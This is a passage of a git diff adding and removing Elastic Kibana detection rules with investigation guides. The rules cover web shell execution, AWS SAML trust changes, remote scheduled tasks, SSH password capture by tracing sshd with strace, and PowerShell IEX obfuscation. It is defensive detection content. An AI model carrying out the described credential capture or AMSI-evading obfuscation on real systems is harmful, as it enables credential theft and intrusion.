or plugins may execute processes that appear suspicious. Validate these modules and exclude their associated processes if they are part of normal operations.\n\n### Response and remediation\n\n- Immediately isolate the affected host from the network to prevent further malicious activity and potential lateral movement.\n- Terminate any suspicious processes identified by the alert that are not part of legitimate web server operations.\n- Conduct a thorough review of the process command lines and executables flagged by the alert to identify any malicious scripts or binaries. Remove or quarantine these files as necessary.\n- Check for unauthorized changes in web server configurations or files within the working directories flagged by the alert. Restore any altered files from a known good backup.\n- Review user accounts and permissions associated with the web server processes to ensure no unauthorized accounts or privilege escalations have occurred. Reset passwords and revoke unnecessary access.\n- Monitor network traffic from the affected host for any signs of command and control communication, and block any identified malicious IP addresses or domains.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised.\n", - "query": "from logs-endpoint.events.process-*\n| keep @timestamp, host.os.type, event.type, event.action, process.parent.name, user.name, user.id, process.working_directory, process.name, process.executable, process.command_line, process.parent.executable, agent.id, host.name\n| where @timestamp > now() - 1 hours\n| where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and (\n process.parent.name in (\n \"apache\", \"nginx\", \"apache2\", \"httpd\", \"lighttpd\", \"caddy\", \"node\", \"mongrel_rails\", \"java\", \"gunicorn\",\n \"uwsgi\", \"openresty\", \"cherokee\", \"h2o\", \"resin\", \"puma\", \"unicorn\", \"traefik\", \"tornado\", \"hypercorn\",\n \"daphne\", \"twistd\", \"yaws\", \"webfsd\", \"httpd.worker\", \"flask\", \"rails\", \"mongrel\"\n ) or\n process.parent.name like \"php-*\" or\n process.parent.name like \"python*\" or\n process.parent.name like \"ruby*\" or\n process.parent.name like \"perl*\" or\n user.name in (\n \"apache\", \"www-data\", \"httpd\", \"nginx\", \"lighttpd\", \"tomcat\", \"tomcat8\", \"tomcat9\", \"ftp\", \"ftpuser\", \"ftpd\"\n ) or\n user.id in (\"99\", \"33\", \"498\", \"48\") or\n process.working_directory like \"/var/www/*\"\n) and\nnot (\n process.working_directory like \"/home/*\" or\n process.working_directory like \"/\" or\n process.parent.executable like \"/vscode/vscode-server/*\"\n)\n| stats cc = count(), agent_count = count_distinct(agent.id), host.name = VALUES(host.name), agent.id = VALUES(agent.id) by process.executable, process.working_directory, process.parent.executable\n| where agent_count == 1 and cc < 5\n| sort cc asc\n| limit 100\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "risk_score": 47, - "rule_id": "976b2391-413f-4a94-acb4-7911f3803346", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Persistence", - "Tactic: Execution", - "Tactic: Command and Control", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1505", - "name": "Server Software Component", - "reference": "https://attack.mitre.org/techniques/T1505/", - "subtechnique": [ - { - "id": "T1505.003", - "name": "Web Shell", - "reference": "https://attack.mitre.org/techniques/T1505/003/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0011", - "name": "Command and Control", - "reference": "https://attack.mitre.org/tactics/TA0011/" - }, - "technique": [ - { - "id": "T1071", - "name": "Application Layer Protocol", - "reference": "https://attack.mitre.org/techniques/T1071/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "976b2391-413f-4a94-acb4-7911f3803346_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/979729e7-0c52-4c4c-b71e-88103304a79f_211.json b/packages/security_detection_engine/kibana/security_rule/979729e7-0c52-4c4c-b71e-88103304a79f_211.json new file mode 100644 index 00000000000..475e6873092 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/979729e7-0c52-4c4c-b71e-88103304a79f_211.json @@ -0,0 +1,122 @@ +{ + "attributes": { + "author": [ + "Elastic", + "Austin Songer" + ], + "description": "Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider\u2019s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring \"UpdateSAMLProvider\" API activity is critical to detect potential compromise of federated trust relationships.", + "false_positives": [ + "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. SAML Provider updates by unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS IAM SAML Provider Updated", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS IAM SAML Provider Updated\n\nAWS IAM SAML providers enable federated authentication between AWS and external identity providers (IdPs), \nallowing users from trusted domains to access AWS resources without separate credentials. \nUpdating a SAML provider can modify the trust relationship \u2014 including the signing certificate or metadata document \u2014 \nand, if abused, may allow an attacker to redirect authentication flows or gain access through a malicious or compromised IdP.\n\nThis rule detects successful `UpdateSAMLProvider` API calls that do not originate from AWS Single Sign-On (SSO), \nas normal SSO operations are filtered out. These changes can be significant because a single unauthorized update \ncan affect all federated authentication in the account.\n\n### Possible investigation steps\n\n- **Validate the actor and context**\n - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `user_agent.original` to determine who performed the update.\n - Confirm if the actor is part of an authorized identity management or platform engineering group.\n - Review `source.ip` and `cloud.region` fields for unexpected geolocations, IP ranges, or service origins.\n\n- **Assess the scope of the modification**\n - Parse the `aws.cloudtrail.request_parameters` for updates to `SAMLMetadataDocument` or `Certificate` attributes.\n - Compare the new metadata with previous versions (available via AWS CLI or AWS Config) to detect unauthorized IdP URLs, \n certificates, or assertion endpoints.\n - Identify whether the change replaced a valid trusted certificate with an unknown or self-signed one.\n\n- **Correlate related IAM and authentication events**\n - Look for preceding `CreateSAMLProvider` or `DeleteSAMLProvider` activity, as attackers may replace existing trust entities.\n - Search for follow-up logins (`AssumeRoleWithSAML`) or STS tokens issued shortly after the update \u2014 this could indicate \n immediate exploitation of the new configuration.\n - Check for concurrent changes to IAM roles associated with SAML federated access.\n\n- **Confirm authorization**\n - Coordinate with your identity management team to confirm whether the SAML provider update aligns with \n planned IdP maintenance or certificate rotation.\n\n### False positive analysis\n\n- **Planned SSO certificate rotation**\n - Most legitimate SAML provider updates occur during routine certificate renewals by authorized IdP admins. \n Validate that the update timing aligns with planned identity provider operations.\n- **Automated infrastructure processes**\n - CI/CD or configuration-as-code pipelines may automatically update SAML metadata as part of deployment. \n Verify whether this activity matches known automation patterns.\n- **Third-party IdP integrations**\n - Some integrated SaaS applications update SAML providers programmatically. Confirm the vendor and the originating credentials before closing as benign.\n\n### Response and remediation\n\n- **Immediate review and containment**\n - Retrieve the current SAML provider configuration using the AWS CLI (`aws iam get-saml-provider`) \n and compare it with the previous known-good state.\n - If unauthorized changes are confirmed, restore the previous configuration or delete the compromised provider.\n - Temporarily disable federated login access for affected roles or accounts until validation is complete.\n\n- **Investigation and scoping**\n - Review CloudTrail logs for related IAM configuration changes, including `CreateRole`, `AttachRolePolicy`, or \n `UpdateAssumeRolePolicy` events that may expand federated trust scope.\n - Identify any `AssumeRoleWithSAML` or `GetFederationToken` events following the update, indicating possible exploitation.\n - Cross-check logs from your external IdP to verify if unauthorized assertions or logins were attempted post-update.\n\n- **Recovery and hardening**\n - Limit permissions to modify SAML providers (`iam:UpdateSAMLProvider`) to a dedicated identity management role.\n - Enforce change control documentation and peer review for all federation configuration changes.\n - Enable AWS Config to monitor and record SAML provider resource configuration history.\n\n### Additional information\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n\n", + "query": "event.dataset: \"aws.cloudtrail\"\n and event.provider: \"iam.amazonaws.com\"\n and event.action: \"UpdateSAMLProvider\"\n and event.outcome: \"success\"\n and not (source.address: \"sso.amazonaws.com\" and user_agent.original: \"sso.amazonaws.com\")\n", + "references": [ + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.address", + "type": "keyword" + }, + { + "ecs": true, + "name": "user_agent.original", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "979729e7-0c52-4c4c-b71e-88103304a79f", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS IAM", + "Use Case: Identity and Access Audit", + "Tactic: Privilege Escalation", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1484", + "name": "Domain or Tenant Policy Modification", + "reference": "https://attack.mitre.org/techniques/T1484/", + "subtechnique": [ + { + "id": "T1484.002", + "name": "Trust Modification", + "reference": "https://attack.mitre.org/techniques/T1484/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 211 + }, + "id": "979729e7-0c52-4c4c-b71e-88103304a79f_211", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/9c865691-5599-447a-bac9-b3f2df5f9a9d_114.json b/packages/security_detection_engine/kibana/security_rule/9c865691-5599-447a-bac9-b3f2df5f9a9d_114.json new file mode 100644 index 00000000000..0ab10ac2726 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/9c865691-5599-447a-bac9-b3f2df5f9a9d_114.json @@ -0,0 +1,106 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies scheduled task creation from a remote source. This could be indicative of adversary lateral movement.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Remote Scheduled Task Creation via RPC", + "note": "## Triage and analysis\n\n### Remote Scheduled Task Creation via RPC\n\n[Scheduled tasks](https://docs.microsoft.com/en-us/windows/win32/taskschd/about-the-task-scheduler) are a great mechanism for persistence and program execution. These features can be used remotely for a variety of legitimate reasons, but at the same time used by malware and adversaries. When investigating scheduled tasks that were set up remotely, one of the first steps should be to determine the original intent behind the configuration and to verify if the activity is tied to benign behavior such as software installation or any kind of network administrator work. One objective for these alerts is to understand the configured action within the scheduled task. This is captured within the registry event data for this rule and can be base64 decoded to view the value.\n\n#### Possible investigation steps\n\n- Review the TaskContent value to investigate the task configured action.\n- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations.\n- Further examination should include review of host-based artifacts and network logs from around when the scheduled task was created, on both the source and target machines.\n\n### False positive analysis\n\n- There is a high possibility of benign activity tied to the creation of remote scheduled tasks as it is a general feature within Windows and used for legitimate purposes for a wide range of activity. Any kind of context should be found to further understand the source of the activity and determine the intent based on the scheduled task's contents.\n\n### Related rules\n\n- Service Command Lateral Movement - d61cbcf8-1bc1-4cff-85ba-e7b21c5beedc\n- Remotely Started Services via RPC - aa9a274d-6b53-424d-ac5e-cb8ca4251650\n- Remote Scheduled Task Creation - 954ee7c8-5437-49ae-b2d6-2960883898e9\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the involved host to prevent further post-compromise behavior.\n- Remove scheduled task and any other related artifacts.\n- Review privileged account management and user account management settings. Consider implementing group policy object (GPO) policies to further restrict activity, or configuring settings that only allow administrators to create remote scheduled tasks.\n", + "query": "iam where host.os.type == \"windows\" and event.action == \"scheduled-task-created\" and\n winlog.event_data.RpcCallClientLocality : \"0\" and winlog.event_data.ClientProcessId : \"0\"\n", + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.ClientProcessId", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.RpcCallClientLocality", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "9c865691-5599-447a-bac9-b3f2df5f9a9d", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Lateral Movement", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + "technique": [ + { + "id": "T1021", + "name": "Remote Services", + "reference": "https://attack.mitre.org/techniques/T1021/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1053", + "name": "Scheduled Task/Job", + "reference": "https://attack.mitre.org/techniques/T1053/", + "subtechnique": [ + { + "id": "T1053.005", + "name": "Scheduled Task", + "reference": "https://attack.mitre.org/techniques/T1053/005/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 114 + }, + "id": "9c865691-5599-447a-bac9-b3f2df5f9a9d_114", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/9eaa3fb1-3f70-48ed-bb0e-d7ae4d3c8f28_2.json b/packages/security_detection_engine/kibana/security_rule/9eaa3fb1-3f70-48ed-bb0e-d7ae4d3c8f28_2.json new file mode 100644 index 00000000000..1d811a60bd6 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/9eaa3fb1-3f70-48ed-bb0e-d7ae4d3c8f28_2.json @@ -0,0 +1,103 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential SSH Password Grabbing via strace", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential SSH Password Grabbing via strace\n\nThis detection flags a suspicious sequence where an sshd process stops and a strace process starts seconds later, indicating attempted snooping of SSH authentication. Capturing syscall activity around login exposes passwords and session secrets, enabling credential theft and lateral movement. Attackers kill sshd, then relaunch or attach with strace, logging read/write and open calls from PAM or keyboard-interactive flows to a file such as /tmp/sshd.trace.\n\n### Possible investigation steps\n\n- Pull the strace command-line, full path, parent chain, invoking user, and working directory to confirm whether it attached to sshd and whether output was directed to a file.\n- Correlate systemd/journald and audit logs around the same seconds for sshd stop/start, kill signals, coredumps, or admin actions to distinguish debugging from credential capture.\n- Identify and preserve any strace output or redirected logs (common in /tmp or home directories) and scan for PAM interactions or TTY reads containing password prompts.\n- Check ptrace feasibility by verifying UID relationships, CAP_SYS_PTRACE, SELinux/AppArmor policies, and ptrace_scope to assess whether sshd could be traced.\n- Pivot on the same user and host for adjacent activity such as restarting sshd, running ltrace/gdb/perf, modifying PAM or sshd_config, and creating trace files to gauge intent.\n\n### False positive analysis\n\n- An administrator intentionally stops sshd and immediately launches strace to troubleshoot a configuration change or startup problem, tracing a controlled test run rather than attempting to capture credentials.\n- A normal sshd session process ends while strace is started to debug an unrelated application, producing a near-simultaneous end/start sequence even though strace is not attached to sshd or capturing authentication input.\n\n### Response and remediation\n\n- Immediately kill active strace processes targeting sshd (e.g., strace -p PID or strace -f /usr/sbin/sshd with -o /tmp/sshd.trace), isolate the host from the network, and restart the sshd service to restore a clean state.\n- Preserve forensic copies, then remove artifacts such as trace outputs like /tmp/sshd.trace or ~/sshd.strace.log, purge unauthorized strace wrappers or cron entries, and revert changes in /etc/ssh/sshd_config and /etc/pam.d/*.\n- Force credential hygiene by expiring passwords for users who logged in during the suspected window, rotating SSH host keys in /etc/ssh/ (ssh_host_*), revoking recently added ~/.ssh/authorized_keys entries, and terminating lingering sshd child sessions and SSH agents in /tmp or /run.\n- Escalate to incident response if strace was executed as root or via sudo against /usr/sbin/sshd, if CAP_SYS_PTRACE or ptrace_scope=0 was present, if trace files contain password strings or PAM conversation data, or if similar behavior appears on more than one host.\n- Harden by setting /proc/sys/kernel/yama/ptrace_scope to 1 or 2, enforcing SELinux/AppArmor policies that block ptrace to sshd, disabling PasswordAuthentication or requiring MFA in /etc/ssh/sshd_config, and adding auditd rules to alert on ptrace attaches to /usr/sbin/sshd.\n\n", + "query": "sequence by host.id with maxspan=3s\n [process where host.os.type == \"linux\" and event.type == \"end\" and process.name == \"sshd\"]\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.name == \"strace\"]\n", + "references": [ + "https://github.com/braindead-sec/ssh-grabber", + "https://dfir.ch/posts/strace/" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "9eaa3fb1-3f70-48ed-bb0e-d7ae4d3c8f28", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Credential Access", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1556", + "name": "Modify Authentication Process", + "reference": "https://attack.mitre.org/techniques/T1556/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1554", + "name": "Compromise Host Software Binary", + "reference": "https://attack.mitre.org/techniques/T1554/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 2 + }, + "id": "9eaa3fb1-3f70-48ed-bb0e-d7ae4d3c8f28_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/9edd1804-83c7-4e48-b97d-c776b4c97564_1.json b/packages/security_detection_engine/kibana/security_rule/9edd1804-83c7-4e48-b97d-c776b4c97564_1.json deleted file mode 100644 index b201994281a..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/9edd1804-83c7-4e48-b97d-c776b4c97564_1.json +++ /dev/null @@ -1,79 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts that use negative index ranges to reverse the contents of a string or array at runtime as a form of obfuscation. This technique avoids direct use of reversal functions by iterating through array elements in reverse order. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "PowerShell Obfuscation via Negative Index String Reversal", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Look for scripts with more than 500 chars that contain a related keyword\n| EVAL script_len = LENGTH(powershell.file.script_block_text)\n| WHERE script_len > 500\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"\\$\\w+\\[\\-\\s?1\\.\\.\"\"\", \"\ud83d\udd25\")\n\n// Count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| EVAL count = LENGTH(replaced_with_fire) - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP count, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n| WHERE count >= 1\n\n// FP Patterns\n| WHERE NOT powershell.file.script_block_text LIKE \"*GENESIS-5654*\"\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "9edd1804-83c7-4e48-b97d-c776b4c97564", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "9edd1804-83c7-4e48-b97d-c776b4c97564_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/9f432a8b-9588-4550-838e-1f77285580d3_3.json b/packages/security_detection_engine/kibana/security_rule/9f432a8b-9588-4550-838e-1f77285580d3_3.json deleted file mode 100644 index 275fecffe69..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/9f432a8b-9588-4550-838e-1f77285580d3_3.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts that reconstruct the IEX (Invoke-Expression) command by accessing and indexing the string representation of method references. This obfuscation technique uses constructs like ''.IndexOf.ToString() to expose method metadata as a string, then extracts specific characters through indexed access and joins them to form IEX, bypassing static keyword detection and evading defenses such as AMSI.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Dynamic IEX Reconstruction via Method String Access", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Dynamic IEX Reconstruction via Method String Access\n\nPowerShell's flexibility allows dynamic command execution, which adversaries exploit by obfuscating commands like Invoke-Expression (IEX). They manipulate method strings to reconstruct IEX, evading static detection. The detection rule identifies scripts using this obfuscation by analyzing patterns in method string access, flagging suspicious activity for further investigation.\n\n### Possible investigation steps\n\n- Review the powershell.file.script_block_text field to understand the content and intent of the script that triggered the alert. Look for any suspicious patterns or obfuscation techniques.\n- Examine the file.path field to determine the location of the script on the host system, which can provide context about its origin and potential legitimacy.\n- Check the host.name and user.id fields to identify the machine and user account involved in executing the script, which can help assess whether the activity aligns with expected behavior.\n- Analyze the powershell.file.script_block_id and powershell.sequence fields to trace the execution sequence and correlate it with other PowerShell activities on the host, providing a broader view of the script's execution context.\n- Investigate the agent.id field to verify the endpoint's security posture and ensure that it is up-to-date with the latest security patches and configurations.\n\n### False positive analysis\n\n- Scripts with legitimate use of string manipulation methods like IndexOf or SubString may trigger false positives if they are part of complex PowerShell scripts used in administrative tasks. To manage this, review the context of the script and consider adding exceptions for known safe scripts or users.\n- Automated scripts from trusted software that perform extensive string operations for configuration or data processing might be flagged. Identify these scripts and exclude them by their script block ID or file path to prevent unnecessary alerts.\n- Development environments where PowerShell is used for testing or debugging purposes may generate alerts due to frequent use of string manipulation. Implement exclusions based on host names or user IDs associated with these environments to reduce noise.\n- Security tools or monitoring solutions that use PowerShell for log analysis or system checks might inadvertently match the detection pattern. Verify the source of the script and whitelist these tools by agent ID or specific script characteristics.\n- Regularly review and update the exclusion list to ensure it reflects the current environment and does not inadvertently allow malicious activity.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further execution of potentially malicious scripts and limit lateral movement within the network.\n- Terminate any suspicious PowerShell processes identified by the alert to stop ongoing malicious activity.\n- Review the PowerShell script block text and script block ID from the alert to understand the scope and intent of the obfuscation technique used.\n- Remove any unauthorized or malicious scripts from the affected system to prevent re-execution.\n- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to identify and remove any additional threats.\n- Restore the affected system from a known good backup if the integrity of the system is compromised and cannot be assured.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected.\n", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Look for scripts with more than 500 chars that contain a related keyword\n| EVAL script_len = LENGTH(powershell.file.script_block_text)\n| WHERE script_len > 500\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"(?i)['\"]['\"].(Insert|Normalize|Chars|SubString|Remove|LastIndexOfAny|LastIndexOf|IsNormalized|IndexOfAny|IndexOf)[^\\[]+\\[\\d+,\\d+,\\d+\\]\"\"\", 